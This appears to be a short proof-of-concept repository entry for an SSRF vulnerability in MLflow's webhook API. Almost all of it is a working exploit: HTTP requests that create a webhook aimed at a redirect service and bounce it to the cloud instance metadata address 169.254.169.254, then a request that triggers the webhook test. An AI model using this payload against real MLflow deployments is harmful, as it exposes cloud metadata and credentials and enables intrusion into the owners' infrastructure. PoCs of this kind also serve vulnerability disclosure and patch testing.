biutrap/cve-2026-64849Proof-of-concept exploit for CVE-2026-64849: triggers SSRF in MLflow webhook API via crafted POST, fetching cloud instance metadata from 169.254.169.254.
POST /api/2.0/mlflow/webhooks HTTP/1.1
Host:
Content-Type: application/json
{"url": "https://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/", "name": "poc", "events": [{"action": "CREATED", "entity": "REGISTERED_MODEL"}]}
POST /api/2.0/mlflow/webhooks/{id}/test HTTP/1.1